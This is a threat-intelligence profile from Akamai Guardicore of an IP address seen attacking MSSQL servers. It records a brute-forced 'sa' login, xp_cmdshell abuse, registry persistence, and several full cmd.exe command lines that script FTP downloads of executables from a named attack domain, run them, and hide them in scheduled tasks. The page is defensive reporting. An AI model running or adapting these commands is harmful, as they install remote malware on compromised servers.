Cyber Threat Intelligence

Discover malicious IPs and domains with Akamai Guardicore Segmentation

IP Address: 14.181.232.174Previously Malicious

IP Address: 14.181.232.174Previously Malicious

This IP address attempted an attack on a machine in our threat sensors network

Threat Information

Role

Attacker, Scanner

Services Targeted

MSSQL

Tags

Access Suspicious Domain Create MsSql Procedure File Operation By CMD MSSQL Brute Force CMD Execute MsSql Shell Command Persistency - Mime Filter Persistency - Image Hijack Successful MSSQL Login MSSQL IDS - Attempted User Privilege Gain DNS Query Scheduled Task Creation

Associated Attack Servers

sex.zhzy999.net s.jiancai008.com tr.kuai-go.com

Basic Information

IP Address

14.181.232.174

Domain

-

ISP

Vietnam Posts And Telecommunications Group

Country

Viet Nam

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Akamai Guardicore Segmentation

2020-06-09

Last seen in Akamai Guardicore Segmentation

2021-02-17

What is Akamai Guardicore Segmentation
Akamai Guardicore Segmentation is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Akamai Guardicore Segmentation generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

A user logged in using MSSQL with the following credentials: sa / ***** - Authentication policy: Reached Max Attempts (Part of a Brute Force Attempt)

MSSQL Brute Force Successful MSSQL Login

A user logged in using MSSQL with the following credentials: sa / ***** - Authentication policy: Previously Approved User (Part of a Brute Force Attempt) 3 times

MSSQL Brute Force Successful MSSQL Login

MSSQL procedures were created: sp_addextendedproc , sp_addlogin , sp_addsrvrolemember , sp_droplogin and sp_password

Create MsSql Procedure

MSSQL executed 24 shell commands

Execute MsSql Shell Command

The command line cmd.exe /c echo 123>ftpx.txt&echo 123>>ftpx.txt&echo binary>>ftpx.txt&echo get sql.exe c:\windows\inf\rundll32.exe>>ftpx.txt&echo bye>>ftpx.txt&ftp -s:ftpx.txt tr.kuai-go.com&c:\windows\inf\rundll32.exe&del ftpx.txt was scheduled to run by modifying C:\Windows\System32\Tasks\Flash_update

The command line cmd.exe /c echo 123>1.log&echo 123>>1.log&echo binary>>1.log&echo get 1.exe c:\windows\inf\1.exe>>1.log&echo bye>>1.log&ftp -s:1.log tr.kuai-go.com&c:\windows\inf\1.exe&del 1.log was scheduled to run by modifying C:\Windows\System32\Tasks\Flash_update1

The command line cmd.exe /c echo 123>2.log&echo 123>>2.log&echo binary>>2.log&echo get 2.exe c:\windows\inf\2.exe>>2.log&echo bye>>2.log&ftp -s:2.log tr.kuai-go.com&c:\windows\inf\2.exe&del 2.log was scheduled to run by modifying C:\Windows\System32\Tasks\Flash_update2

The command line cmd.exe /c echo 123>3.log&echo 123>>3.log&echo binary>>3.log&echo get 3.exe c:\windows\inf\3.exe>>3.log&echo bye>>3.log&ftp -s:3.log tr.kuai-go.com&c:\windows\inf\3.exe&del 3.log was scheduled to run by modifying C:\Windows\System32\Tasks\Flash_update3

Process c:\windows\system32\cscript.exe attempted to access suspicious domains: tr.zhzy999.net

DNS Query Access Suspicious Domain

Process c:\windows\system32\cscript.exe attempted to access suspicious domains: s.jiancai008.com 2 times

DNS Query Access Suspicious Domain

IDS detected Attempted User Privilege Gain : xp_cmdshell - program execution

IDS - Attempted User Privilege Gain

Process c:\windows\system32\cscript.exe attempted to access suspicious domains: sx.zhzy999.net

DNS Query Access Suspicious Domain

Process NetworkService Service Group attempted to access suspicious domains: sx.zhzy999.net and tr.kuai-go.com

DNS Query Access Suspicious Domain

Process c:\windows\system32\wscript.exe attempted to access suspicious domains: sex.zhzy999.net

DNS Query Access Suspicious Domain

IDS detected Attempted User Privilege Gain : MS-SQL SQL Injection closing string plus line comment

IDS - Attempted User Privilege Gain

IDS detected Attempted User Privilege Gain : sp_password - password change

IDS - Attempted User Privilege Gain

IDS detected Attempted User Privilege Gain : xp_reg* - registry access

IDS - Attempted User Privilege Gain

c:\program files\microsoft sql server\mssql11.sqlexpress\mssql\binn\sqlservr.exe set the command line c:\windows\system32\taskmgr.exe to run using Persistency - Image Hijack

Persistency - Image Hijack

c:\windows\system32\regsvr32.exe installed a Persistency - Mime Filter backdoor by modifying Windows Registry 21 times

Persistency - Mime Filter

Process c:\windows\system32\ftp.exe attempted to access suspicious domains: tr.kuai-go.com

DNS Query Access Suspicious Domain

IDS detected Attempted User Privilege Gain : SQL sp_configure - configuration change

IDS - Attempted User Privilege Gain

Connection was closed due to timeout